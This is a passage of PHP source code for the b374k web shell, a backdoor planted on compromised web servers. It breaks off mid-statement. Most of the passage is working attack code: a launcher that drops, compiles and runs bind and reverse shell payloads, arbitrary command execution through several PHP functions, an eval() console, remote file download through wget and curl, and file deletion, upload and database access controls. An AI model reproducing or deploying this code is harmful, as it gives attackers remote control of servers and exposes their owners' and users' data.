pzIfl/bcE/BNjXIBSsR7Ali7vcfA7aPYI8fDbZfgO3vBOt3u/qZNR4a5HhzvDZ3tK9AjEjwwxRo3jrbbr789hvdCL5KeSjCZs8p7fjZrKfcBuGuNA2+E/7vIzmIoLvKoeDzu2jOZZp5q1xkz+cgyF7oJ9FsppatPodhI47Ngv5Gtvk5bhAThg9oUCyDA6XDwgeXhPdvJJ5IKteHiLTd0Z894pi+96QJioMePQljkemmgQ0PaSlrOKCna0/TjCuiRg176V6++dbXUz36XNAzsu0C9HS9F7ZNtkuyCns7Bxn1ZUURePv781UUdlj5He9YXKgeDlKcELNRLnAOOuXyO34lfdA7WYvFsTLRBHGadGbQ5PoctJPHiHdMNGmmSZN1yY7TkgzIuYWYEpmNf0taNgHy6ZFRo1aCJSATkTzAtWk3oBs6MaDuw54UAQ5LEQQ7JrcGgRsCFafB4afO2mrLqz6ybr5qNWPWB2fFjpXaxGszmKomdCIp0hKRoNfu9FftWfReMbfVjVK6hjW+1PsYCWg0rAx09CXkd7Q5cVRt047C39mMUBKjF0e/PBMpzgknSlgpWolpf99ZYxE4uq+3HzdKZMYU47EuZs45z1jEFLnStYJDMirZ2dqpMLJaxjKj3y/VCQjlasrKjDG+l8t0+YcsXXLIxupjoeWoTBUtgVC7AAHVS0cppSytv5XULNgVUoNlU0rAk0DEZytf/ZWGiiRVY/ae06Wh/rRALKURVyDdC/aYH6fBLbYvCR761YVVzRm3fBtpznvETH/i0dYCeoqSanmkX8zFI6L8SqsHe6UyxZirw5b670Qgd4O7FfcYoIq0uPlT9x7qc4tRMQFa+grdtDcgza34lUBi6aESM9JxtvsbmUXJvA55TjO1yEue0IRevoyhADeb7t+MBDeQx+gefCvIggTaDpJk/iAE0KF1nmZUtJxjSJWu8jS+wwD7liaoRdD3Ci4DoMglRiRY3ThX724jwAyXryYVu7XhNjFlsnYFfOmD28btl0aIjldGalaQKT/u4HUOF81ktfBFVhXx3Fyv20GLdYvBTfX8Nw=="; + +// make link for folder $pwd and all of its parent folder +function swd($p){ + $ps = explode(DIRECTORY_SEPARATOR,$p); + $pu = ""; + for($i = 0 ; $i < sizeof($ps)-1 ; $i++){ + $pz = ""; + for($j = 0 ; $j <= $i ; $j++) $pz .= $ps[$j].DIRECTORY_SEPARATOR; + $pu .= "<a href=\"?d=".$pz."\">".$ps[$i]." ".DIRECTORY_SEPARATOR." </a>"; + } + return trim($pu); +} +// remove <br />tags +function rp($t){ + return trim(str_replace("<br />","",$t)); +} +// replace spaces with underscore ( _ ) +function cs($t){ + return str_replace(" ","_",$t); +} +// strip slashes,trim and urldecode +function ss($t){ + if (!get_magic_quotes_gpc()) return trim(urldecode($t)); + return trim(urldecode(stripslashes($t))); +} +// only strip slashes +function ssc($t){ + if (!get_magic_quotes_gpc()) return $t; + return stripslashes($t); +} +// bind and reverse shell +function rs($s_win, $d, $type, $sc, $target){ + $result = ""; + + $fc = gzinflate(base64_decode($sc)); + + $errperm = "<p class=\"rs_result\">error: permission denied. check current working directory permissions</p>"; + $errgcc = "<p class=\"rs_result\">error: can not compile using gcc</p>"; + + if($type == "xbind_pl"){ + $fname = "b374k_bind.pl"; + $fpath = $d.$fname; + if(is_file($fpath)) unlink($fpath); + if($file=fopen($fpath,"w")){ + fwrite($file,$fc); + fclose($file); + if(is_file($fpath)){ + $res = exe("chmod +x ".$fpath); + $res = exe("perl ".$fpath." ".$target); + } + else $result = $errperm; + } + else $result = $errperm; + } + elseif($type == "xbind_py"){ + $fname = "b374k_bind.py"; + $fpath = $d.$fname; + if(is_file($fpath)) unlink($fpath); + if($file=fopen($fpath,"w")){ + fwrite($file,$fc); + fclose($file); + if(is_file($fpath)){ + $res = exe("chmod +x ".$fpath); + $res = exe("python ".$fpath." ".$target); + } + else $result = $errperm; + } + else $result = $errperm; + + } + elseif($type == "xbind_bin"){ + $fname = "b374k_bind"; + $fpath = $d.$fname; + + if(!$s_win){ + if(is_file($fpath)) unlink($fpath); + if(is_file($fpath.".c")) unlink($fpath.".c"); + if($file=fopen($fpath.".c","w")){ + fwrite($file,$fc); + fclose($file); + if(is_file($fpath.".c")){ + $res = exe("gcc ".$fpath.".c -o ".$fpath); + if(is_file($fpath)){ + $res = exe("chmod +x ".$fpath); + $res = exe($fpath." ".$target); + } + else $result = $errgcc; + } + else $result = $errperm; + + } + else $result = $errperm; + } + else{ + $fpath = $fpath . ".exe"; + if(is_file($fpath)) unlink($fpath); + if($file=fopen($fpath,"w")){ + fwrite($file,$fc); + fclose($file); + if(is_file($fpath)){ + $res = exe("\"".$fpath."\" ".$target); + } + else $result = $errperm; + } + else $result = $errperm; + } + + } + elseif($type == "xback_pl"){ + $fname = "b374k_back.pl"; + $fpath = $d.$fname; + $tar = explode(" ",$target,2); + if(is_file($fpath)) unlink($fpath); + if($file=fopen($fpath,"w")){ + fwrite($file,$fc); + fclose($file); + if(is_file($fpath)){ + $res = exe("chmod +x ".$fpath); + $res = exe("perl ".$fpath." ".$target); + } + else $result = $errperm; + } + else $result = $errperm; + } + elseif($type == "xback_py"){ + $fname = "b374k_back.py"; + $fpath = $d.$fname; + $tar = explode(" ",$target,2); + if(is_file($fpath)) unlink($fpath); + if($file=fopen($fpath,"w")){ + fwrite($file,$fc); + fclose($file); + if(is_file($fpath)){ + $res = exe("chmod +x ".$fpath); + $res = exe("python ".$fpath." ".$target); + } + else $result = $errperm; + } + else $result = $errperm; + + } + elseif($type == "xback_bin"){ + $fname = "b374k_back"; + $fpath = $d.$fname; + $tar = explode(" ",$target,2); + + if(!$s_win){ + if(is_file($fpath)) unlink($fpath); + if(is_file($fpath.".c")) unlink($fpath.".c"); + if($file=fopen($fpath.".c","w")){ + fwrite($file,$fc); + fclose($file); + if(is_file($fpath.".c")){ + $res = exe("gcc ".$fpath.".c -o ".$fpath); + if(is_file($fpath)){ + $res = exe("chmod +x ".$fpath); + $res = exe($fpath." ".$target); + } + else $result = $errgcc; + } + else $result = $errperm; + } + else $result = $errperm; + } + else{ + $fpath = $fpath . ".exe"; + if(is_file($fpath)) unlink($fpath); + if($file=fopen($fpath,"w")){ + fwrite($file,$fc); + fclose($file); + if(is_file($fpath)){ + $res = exe($fpath." ".$target); + } + else $result = $errperm; + } + else $result = $errperm; + } + } + + return $result; +} +// get file size +function gs($f){ + if($s = filesize($f)){ + if($s <= 1024) return $s; + else{ + if($s <= 1024*1024) { + $s = round($s / 1024,2);; + return $s." kb"; + } + else { + $s = round($s / 1024 / 1024,2); + return $s." mb"; + } + } + } + else return "???"; +} +// get file permissions +function gp($f){ + if($m=fileperms($f)){ + $p=''; + $p .= ($m & 00400) ? 'r' : '-'; + $p .= ($m & 00200) ? 'w' : '-'; + $p .= ($m & 00100) ? 'x' : '-'; + $p .= ($m & 00040) ? 'r' : '-'; + $p .= ($m & 00020) ? 'w' : '-'; + $p .= ($m & 00010) ? 'x' : '-'; + $p .= ($m & 00004) ? 'r' : '-'; + $p .= ($m & 00002) ? 'w' : '-'; + $p .= ($m & 00001) ? 'x' : '-'; + return $p; + } + else return "??????????"; +} +// shell command +function exe($c){ + if(function_exists('system')) { + ob_start(); + system($c); + $b = ob_get_contents(); + ob_end_clean(); + return $b; + } + elseif(function_exists('shell_exec')){ + $b = shell_exec($c); + return $b; + } + elseif(function_exists('exec')) { + exec($c,$r); + $b = ""; + foreach($r as $s){ + $b .= $s; + } + return $b; + } + elseif(function_exists('passthru')) { + ob_start(); + passthru($c); + $b = ob_get_contents(); + ob_end_clean(); + return $b; + } + return ""; // failed... oh my +} +// add slash to the end of given path +function cp($p){ + if(is_dir($p)){ + $x = DIRECTORY_SEPARATOR; + while(substr($p,-1) == $x) $p = rtrim($p,$x); + return $p.$x; + } + return $p; +} +// delete dir and all of its content (no warning !) xp +function rmdirs($d) { + $f = glob($d . '*', GLOB_MARK); + foreach($f as $z){ + if(is_dir($z)) rmdirs($z); + else unlink($z); + } + if(is_dir($d)) rmdir($d); +} +function xwhich($pr){ + $p = exe("which $pr"); + if(trim($p)!="") { return trim($p); } else { return trim($pr); } +} +// download file from internet +function dlfile($u,$p){ + $n = basename($u); + + // try using php functions + if($t = file_get_contents($u)){ + if(is_file($p)) unlink($p);; + if($f=fopen($p,"w")){ + fwrite($f,$t); + fclose($f); + if(is_file($p)) return true; + } + } + + // using wget + exe(xwhich('wget')." ".$u." -O ".$p); + if(is_file($p)) return true; + + // try using lwp-download + exe(xwhich('lwp-download')." ".$u." ".$p); + if(is_file($p)) return true; + + // try using lynx + exe(xwhich('lynx')." -source ".$u." > ".$p); + if(is_file($p)) return true; + + // try using curl + exe(xwhich('curl')." ".$u." -o ".$p); + if(is_file($p)) return true; + + return false; +} +// explorer, return a table of given dir +function showdir($pwd,$prompt,$win){ + if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE; + else $posix = FALSE; + + $user = "????:????"; + $fname = array(); + $dname = array(); + + if($dh = scandir($pwd)){ + foreach($dh as $file){ + if(is_dir($file)) $dname[] = $file; + elseif(is_file($file)) $fname[] = $file; + } + } + else{ + if($dh = opendir($pwd)){ + while($file = readdir($dh)){ + if(is_dir($file)) $dname[] = $file; + elseif(is_file($file))$fname[] = $file; + } + closedir($dh); + } + } + + sort($fname); + sort($dname); + + $path = explode(DIRECTORY_SEPARATOR,$pwd); + $tree = sizeof($path); + $parent = ""; + $buff = " +<table class=\"explore sortable\"> + <tr><th>Nombre</th><th style=\"width:60px;\">Tama&#241;o</th><th style=\"width:100px;\">Propietario : Grupo</th><th style=\"width:70px;\">Permisos</th><th style=\"width:110px;\">Modificado</th><th style=\"width:210px;\">Acciones</th></tr> + "; + if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR; + else $parent = $pwd; + + foreach($dname as $folder){ + if($folder == ".") { + if(!$win && $posix){ + $name = posix_getpwuid(fileowner($folder)); + $group = posix_getgrgid(filegroup($folder)); + $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name']; + } + else { + $owner = $user; + } + $buff .= "<tr><td><a href=\"?d=".$pwd."\">[ $folder ]</a></td><td>LINK</td><td style=\"text-align:center;\">".$owner."</td><td style=\"text-align:center;\">".gp($pwd)."</td><td style=\"text-align:center;\">".date("d-M-Y H:i",filemtime($pwd))."</td><td><span id=\"titik1\"><a href=\"?d=$pwd&amp;edit=".$pwd."archivo_nuevo.php\">Nuevo archivo</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">Nueva Carpeta</a> | <a href=\"?upload&amp;d=$pwd\">Cargar</a></span> + <form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> + <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" /> + <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" /> + <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Ir !\" /> + </form></td></tr> + "; + } + elseif($folder == "..") { + if(!$win && $posix){ + $name = posix_getpwuid(fileowner($folder)); + $group = posix_getgrgid(filegroup($folder)); + $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name']; + } + else { + $owner = $user; + } + $buff .= "<tr><td><a href=\"?d=".$parent."\">[ $folder ]</a></td><td>LINK</td><td style=\"text-align:center;\">".$owner."</td><td style=\"text-align:center;\">".gp($parent)."</td><td style=\"text-align:center;\">".date("d-M-Y H:i",filemtime($parent))."</td><td><span id=\"titik2\"><a href=\"?d=$pwd&amp;edit=".$parent."archivo_nuevo.php\">Nuevo archivo</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">Nueva Carpeta</a> | <a href=\"?upload&amp;d=$parent\">Cargar</a></span> + <form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> + <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" /> + <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" /> + <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Ir !\" /> + </form> + </td></tr>"; + } + else { + if(!$win && $posix){ + $name = posix_getpwuid(fileowner($folder)); + $group = posix_getgrgid(filegroup($folder)); + $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name']; + } + else { + $owner = $user; + } + $buff .= "<tr><td><a id=\"".cs($folder)."_link\" href=\"?d=".$pwd.$folder.DIRECTORY_SEPARATOR."\">[ $folder ]</a> + <form action=\"?\" method=\"post\" id=\"".cs($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> + <input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" /> + <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" /> + <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$folder."\" /> + <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" /> + <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".cs($folder)."_form','".cs($folder)."_link');\" /> + </form> + <td>DIR</td><td style=\"text-align:center;\">".$owner."</td><td style=\"text-align:center;\">".gp($pwd.$folder)."</td><td style=\"text-align:center;\">".date("d-M-Y H:i",filemtime($folder))."</td><td><a href=\"javascript:tukar('".cs($folder)."_link','".cs($folder)."_form');\">renombrar</a> | <a href=\"?d=".$pwd."&amp;rmdir=".$pwd.$folder."\">Borrar</a> | <a href=\"?upload&amp;d=".$pwd.$folder."\">upload</a></td></tr>"; + } + } + + foreach($fname as $file){ + $full = $pwd.$file; + if(!$win && $posix){ + $name = posix_getpwuid(fileowner($folder)); + $group = posix_getgrgid(filegroup($folder)); + $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name']; + } + else { + $owner = $user; + } + $buff .= "<tr><td><a id=\"".cs($file)."_link\" href=\"?d=$pwd&amp;view=$full\">$file</a> + <form action=\"?\" method=\"post\" id=\"".cs($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> + <input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" /> + <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" /> + <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$file."\" /> + <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" /> + <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".cs($file)."_link','".cs($file)."_form');\" /> + </form> + </td><td>".gs($full)."</td><td style=\"text-align:center;\">".$owner."</td><td style=\"text-align:center;\">".gp($full)."</td><td style=\"text-align:center;\">".date("d-M-Y H:i",filemtime($full))."</td> + <td><a href=\"?d=$pwd&amp;edit=$full\">Editar</a> | <a href=\"javascript:tukar('".cs($file)."_link','".cs($file)."_form');\">renombrar</a> | <a href=\"?d=$pwd&amp;delete=$full\">Borrar</a> | <a href=\"?d=$pwd&amp;dl=$full\">Bajar</a>&nbsp;(<a href=\"?d=$pwd&amp;dlgzip=$full\">gzip</a>)</td></tr>"; + } + $buff .= "</table>"; + return $buff; +} + +// favicon +if(isset($_REQUEST['favicon'])){ + $data = gzinflate(base64_decode($favicon)); + header("Content-type: image/png"); + header("Cache-control: public"); + echo $data; + exit; +} +if($s_auth){ + // server software + $s_software = getenv("SERVER_SOFTWARE"); + // check safemode + if (ini_get("safe_mode") or strtolower(ini_get("safe_mode")) == "on") $s_safemode = TRUE; else $s_safemode = FALSE; + // uname -a + $s_system = php_uname(); + // check os + $s_win = FALSE; + if(strtolower(substr($s_system,0,3)) == "win") $s_win = TRUE; + // get path and all drives available + $letters = ''; + if(!$s_win){ + if(!$s_user = rp(exe("whoami"))) $s_user = ""; + if(!$s_id = rp(exe("id"))) $s_id = ""; + $pwd = getcwd().DIRECTORY_SEPARATOR; + } + else { + $s_user = get_current_user(); + $s_id = $s_user; + $pwd = realpath(".")."\\"; + // find drive letters + $v = explode("\\",$d); + $v = $v[0]; + foreach (range("A","Z") as $letter){ + $bool = @is_dir($letter.":\\"); + if ($bool){ + $letters .= "<a href=\"?d=".$letter.":\\\">[ "; + if ($letter.":" != $v) {$letters .= $letter;} + else {$letters .= "<span class=\"gaya\">".$letter."</span>";} + $letters .= " ]</a> "; + } + } + } + // prompt style.. + $s_prompt = $s_user." &gt;"; + + // check for posix + if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $s_posix = TRUE; + else $s_posix = FALSE; + + // IP del servidor + $s_server_ip = gethostbyname($_SERVER["HTTP_HOST"]); + // your ip ;-) + $s_my_ip = $_SERVER['REMOTE_ADDR']; + + // change working directory + if(isset($_REQUEST['d'])){ + $d = ss($_REQUEST['d']); + if(is_dir($d)){ + chdir($d); + $pwd = cp($d); + } + } + else $pwd = cp(getcwd()); + // sorttable.js + if(isset($_REQUEST['sorttable'])){ + $data = gzinflate(base64_decode($sortable_js)); + header("Content-type: text/plain"); + header("Cache-control: public"); + echo $data; + exit; + } + // download file specified by ?dl=<file> + if(isset($_REQUEST['dl']) && ($_REQUEST['dl'] != "")){ + $f = ss($_REQUEST['dl']); + $fc = file_get_contents($f); + header("Content-type: application/octet-stream"); + header("Content-length: ".strlen($fc)); + header("Content-disposition: attachment; filename=\"".basename($f)."\";"); + echo $fc; + exit; + } // download file specified by ?dlgzip=<file> as gzip + elseif(isset($_REQUEST['dlgzip']) && ($_REQUEST['dlgzip'] != "")){ + $f = ss($_REQUEST['dlgzip']); + $fc = gzencode(file_get_contents($f)); + header("Content-Type:application/x-gzip\n"); + header("Content-length: ".strlen($fc)); + header("Content-disposition: attachment; filename=\"".basename($f).".gz\";"); + echo $fc; + exit; + } + // kill process specified by pid + if(isset($_REQUEST['pid'])){ + $p = ss($_REQUEST['pid']); + if(function_exists("posix_kill")) posix_kill($p,'9'); + else{ + exe("kill -9 ".$p); + exe("taskkill /F /PID ".$p); + } + } + // view image specified by ?img=<file> + if(isset($_REQUEST['img'])){ + ob_clean(); + $d = ss($_REQUEST['d']); + $f = ss($_REQUEST['img']); + $inf = getimagesize($d.$f); + $ext = explode($f,"."); + $ext = $ext[count($ext)-1]; + header("Content-type: ".$inf["mime"]); + header("Cache-control: public"); + header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); + header("Cache-control: max-age=".(60*60*24*7)); + readfile($d.$f); + exit; + } + // rename file or folder + if(isset($_REQUEST['rename']) && isset($_REQUEST['oldname']) && isset($_REQUEST['newname'])){ + $old = ss($_REQUEST['oldname']); + $new = ss($_REQUEST['newname']); + rename($pwd.$old,$pwd.$new); + $fnew = $pwd.$new; + } + // delete file + if(isset($_REQUEST['delete']) && ($_REQUEST['delete'] != "")){ + $f = ss($_REQUEST['delete']); + if(is_file($f)) unlink($f); + } // delete dir + elseif(isset($_REQUEST['rmdir']) && ($_REQUEST['rmdir'] != "")){ + $f = ss(rtrim(ss($_REQUEST['rmdir'],DIRECTORY_SEPARATOR))); + if(is_dir($f)) rmdirs($f); + } // create dir + elseif(isset($_REQUEST['mkdir']) && ($_REQUEST['mkdir'] != "")){ + $f = ss($pwd.ss($_REQUEST['mkdir'])); + if(!is_dir($f)) mkdir($f); + } + // box result + $s_result = ""; + // php eval() function + if(isset($_REQUEST['eval'])){ + $c = ""; + if(isset($_REQUEST['evalcode'])){ + $c = ss($_REQUEST['evalcode']); + ob_start(); + eval($c); + $b = ob_get_contents(); + ob_end_clean(); + $c = $b; + } + $s_result .= " <form action=\"?\" method=\"post\"> + <textarea id=\"evalcode\" name=\"evalcode\" class=\"evalcode\">".htmlspecialchars($code)."</textarea> + <p><input type=\"submit\" name=\"evalcodesubmit\" class=\"inputzbut\" value=\"Ir !\" style=\"width:120px;height:30px;\" /></p> + <input type=\"hidden\" name=\"eval\" value=\"\" /> + <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" /> + </form> + "; + } // upload ! + elseif(isset($_REQUEST['upload'])){ + $s_result = " "; + $msg = ""; + if(isset($_REQUEST['uploadhd'])){ + $fn = $_FILES['filepath']['name']; + if(is_uploaded_file($_FILES['filepath']['tmp_name'])){ + $p = cp(ss($_REQUEST['savefolder'])); + if(!is_dir($p)) $p = cp(dirname($p)); + if(isset($_REQUEST['savefilename']) && (trim($_REQUEST['savefilename'])!="")) $fn = ss($_REQUEST['savefilename']); + $tm = $_FILES['filepath']['tmp_name']; + $pi = cp($p).$fn; + $st = move_uploaded_file($tm,$pi); + if($st) $msg = "<p class=\"rs_result\">file uploaded to <a href=\"?d=".$pwd."&amp;view=".$pi."\">".$pi."</a></p>"; + else $msg = "<p class=\"rs_result\">failed to upload ".$fn."</p>"; + } + else $msg = "<p class=\"rs_result\">failed to upload ".$fn."</p>"; + } + elseif(isset($_REQUEST['uploadurl'])){ + // function dlfile($url,$fpath){ + $p = cp(ss($_REQUEST['savefolderurl'])); + if(!is_dir($p)) $p = cp(dirname($p)); + $fu = ss($_REQUEST['fileurl']); + $fn = basename($fu); + if(isset($_REQUEST['savefilenameurl']) && (trim($_REQUEST['savefilenameurl'])!="")) $fn = ss($_REQUEST['savefilenameurl']); + $fp = cp($p).$fn; + $st = dlfile($fu,$fp); + if($st) $msg = "<p class=\"rs_result\">file uploaded to <a href=\"?d=".$pwd."&amp;view=".$fp."\">".$fp."</a></p>"; + else $msg = "<p class=\"rs_result\">failed to upload ".$fn."</p>"; + } + + $s_result .= $msg; + $s_result .= " + <form action=\"?upload\" method=\"post\" enctype=\"multipart/form-data\"> + <div class=\"mybox\"><h2>Upload from computer</h2> + <table class=\"myboxtbl\"> + <tr><td style=\"width:100px;\">File</td><td><input type=\"file\" name=\"filepath\" class=\"inputzbut\" style=\"width:400px;margin:0;\" /> + </td></tr> + <tr><td>Save to</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"savefolder\" value=\"".$pwd."\" /></td></tr> + <tr><td>Filename (optional)</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"savefilename\" value=\"\" /></td></tr> + <tr><td>&nbsp;</td><td> + <input type=\"submit\" name=\"uploadhd\" class=\"inputzbut\" value=\"Upload !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" /> + </td></tr> + + <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" /> + </table> + </div> + </form> + + <form action=\"?upload\" method=\"post\"> + <div class=\"mybox\"><h2>Upload from internet</h2> + <table class=\"myboxtbl\"> + <tr><td style=\"width:100px;\">File URL</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"fileurl\" value=\"\" /> + </td></tr> + <tr><td>Save to</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"savefolderurl\" value=\"".$pwd."\" /></td></tr> + <tr><td>Filename (optional)</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"savefilenameurl\" value=\"\" /></td></tr> + <tr><td>&nbsp;</td><td> + <input type=\"submit\" name=\"uploadurl\" class=\"inputzbut\" value=\"Upload !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" /> + </td></tr> + + <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" /> + </table> + </div> + </form> + + "; + } // show phpinfo() + elseif(isset($_REQUEST['phpinfo'])){ + ob_start(); + eval("phpinfo();"); + $b = ob_get_contents(); + ob_end_clean(); + $a = strpos($b,"<body>")+6; // yeah baby,, your body is wonderland ;-) + $z = strpos($b,"</body>"); + $s_result = "<div class=\"phpinfo\">".substr($b,$a,$z-$a)."</div>"; + } // working with database + elseif(isset($_REQUEST['db'])){ + $sqlhost = $sqlhost1 = $sqlhost2 = $sqlhost3 = $sqlhost4 = 'localhost'; + $sqluser = $sqluser1 = $sqluser2 = $sqluser3 = $sqluser4 = $odbcuser = $odbcdsn = $pdodsn = $pdouser = ''; + $sqlport = $sqlport1 = $sqlport2 = $sqlport3 = $sqlport4 = ''; + $sqlpass = $sqlpass1 = $sqlpass2 = $sqlpass3 = $sqlpass4 = $odbcpass = $pdopass = ''; + + if(isset($_REQUEST['mysqlcon'])&&isset($_REQUEST['sqlhost1'])) $sqlhost = $sqlhost1 = ss($_REQUEST['sqlhost1']); + if(isset($_REQUEST['mssqlcon'])&&isset($_REQUEST['sqlhost2'])) $sqlhost = $sqlhost2 = ss($_REQUEST['sqlhost2']); + if(isset($_REQUEST['pgsqlcon'])&&isset($_REQUEST['sqlhost3'])) $sqlhost = $sqlhost3 = ss($_REQUEST['sqlhost3']); + if(isset($_REQUEST['oraclecon'])&&isset($_REQUEST['sqlhost4'])) $sqlhost = $sqlhost4 = ss($_REQUEST['sqlhost4']); + if(isset($_REQUEST['odbccon'])&&isset($_REQUEST['odbcdsn'])) $odbcdsn = ss($_REQUEST['odbcdsn']); + if(isset($_REQUEST['pdocon'])&&isset($_REQUEST['pdodsn'])) $pdodsn = ss($_REQUEST['pdodsn']); + if(isset($_REQUEST['sqlhost'])) $sqlhost = ss($_REQUEST['sqlhost']); + + if(isset($_REQUEST['mysqlcon'])&&isset($_REQUEST['sqluser1'])) $sqluser = $sqluser1 = ss($_REQUEST['sqluser1']); + if(isset($_REQUEST['mssqlcon'])&&isset($_REQUEST['sqluser2'])) $sqluser = $sqluser2 = ss($_REQUEST['sqluser2']); + if(isset($_REQUEST['pgsqlcon'])&&isset($_REQUEST['sqluser3'])) $sqluser = $sqluser3 = ss($_REQUEST['sqluser3']); + if(isset($_REQUEST['oraclecon'])&&isset($_REQUEST['sqluser4'])) $sqluser = $sqluser4 = ss($_REQUEST['sqluser4']); + if(isset($_REQUEST['odbccon'])&&isset($_REQUEST['odbcuser'])) $odbcuser = ss($_REQUEST['odbcuser']); + if(isset($_REQUEST['pdocon'])&&isset($_REQUEST['pdouser'])) $pdouser = ss($_REQUEST['pdouser']); + if(isset($_REQUEST['sqluser'])) $sqluser = ss($_REQUEST['sqluser']); + + if(isset($_REQUEST['mysqlcon'])&&isset($_REQUEST['sqlport1'])) $sqlport = $sqlport1 = ss($_REQUEST['sqlport1']); + if(isset($_REQUEST['mssqlcon'])&&isset($_REQUEST['sqlport2'])) $sqlport = $sqlport2 = ss($_REQUEST['sqlport2']); + if(isset($_REQUEST['pgsqlcon'])&&isset($_REQUEST['sqlport3'])) $sqlport = $sqlport3 = ss($_REQUEST['sqlport3']); + if(isset($_REQUEST['oraclecon'])&&isset($_REQUEST['sqlport4'])) $sqlport = $sqlport4 = ss($_REQUEST['sqlport4']); + if(isset($_REQUEST['sqlport'])) $sqlport = ss($_REQUEST['sqlport']); + + if(isset($_REQUEST['mysqlcon'])&&isset($_REQUEST['sqlpass1'])) $sqlpass = $sqlpass1 = ss($_REQUEST['sqlpass1']); + if(isset($_REQUEST['mssqlcon'])&&isset($_REQUEST['sqlpass2'])) $sqlpass = $sqlpass2 = ss($_REQUEST['sqlpass2']); + if(isset($_REQUEST['pgsqlcon'])&&isset($_REQUEST['sqlpass3'])) $sqlpass = $sqlpass3 = ss($_REQUEST['sqlpass3']); + if(isset($_REQUEST['oraclecon'])&&isset($_REQUEST['sqlpass4'])) $sqlpass = $sqlpass4 = ss($_REQUEST['sqlpass4']); + if(isset($_REQUEST['odbccon'])&&isset($_REQUEST['odbcpass'])) $odbcpass = ss($_REQUEST['odbcpass']); + if(isset($_REQUEST['pdocon'])&&isset($_REQUEST['pdopass'])) $pdopass = ss($_REQUEST['pdopass']); + if(isset($_REQUEST['sqlpass'])&&isset($_REQUEST['sqlpass'])) $sqlpass = ss($_REQUEST['sqlpass']); + + $sqls = ""; + $q_result = ""; + $hostandport = $sqlhost; + if(trim($sqlport)!="") $hostandport = $sqlhost.":".$sqlport; + + if(isset($_REQUEST['mysqlcon']) && ($con = mysql_connect($hostandport,$sqluser,$sqlpass))){ + if(isset($_REQUEST['sqlcode'])){ + $sqls = ss($_REQUEST['sqlcode']); + $querys = explode(";",$sqls); + + foreach($querys as $query){ + if(trim($query) != ""){ + $hasil = mysql_query($query); + if($hasil){ + $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp; + <span class=\"gaya\">[</span> ok <span class=\"gaya\">]</span></p> + <table class=\"explore\" style=\"width:99%;\"><tr>"; + for($i=0;$i<mysql_num_fields($hasil);$i++) + $q_result .= "<th>".htmlspecialchars(mysql_field_name($hasil,$i))."</th>"; + $q_result .= "</tr>"; + while($rows=mysql_fetch_array($hasil)){ + $q_result .= "<tr>"; + for($j=0;$j<mysql_num_fields($hasil);$j++) + { + if($rows[$j] == "") $dataz = " "; + else $dataz = $rows[$j]; + $q_result .= "<td>".htmlspecialchars($dataz)."</td>"; + } + $q_result .= "</tr>"; + } + $q_result .= "</table>"; + } + else $q_result .= "<p style=\"padding:0;margin:20px 6px 0 6px;\">".$query.";&nbsp;&nbsp;&nbsp; + <span class=\"gaya\">[</span> error <span class=\"gaya\">]</span></p>"; + } + } + } + else $sqls = "SHOW databases;"; + + $s_result .= " <form action=\"?db\" method=\"post\"> + <input type=\"hidden\" name=\"sqlhost\" value=\"".$sqlhost."\" /> + <input type=\"hidden\" name=\"sqluser\" value=\"".$sqluser."\" /> + <input type=\"hidden\" name=\"sqlport\" value=\"".$sqlport."\" /> + <input type=\"hidden\" name=\"sqlpass\" value=\"".$sqlpass."\" /> + <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" /> + <textarea id=\"sqlcode\" name=\"sqlcode\" class=\"evalcode\" style=\"height:10em;\">".$sqls."</textarea> + <p><input type=\"submit\" name=\"mysqlcon\" class=\"inputzbut\" value=\"Ir !\" style=\"width:120px;height:30px;\" /> + &nbsp;&nbsp;Separate multiple commands with a semicolon <span class=\"gaya\">[</span> ; <span class=\"gaya\">]</span></p> + </form>"; + $s_result .= 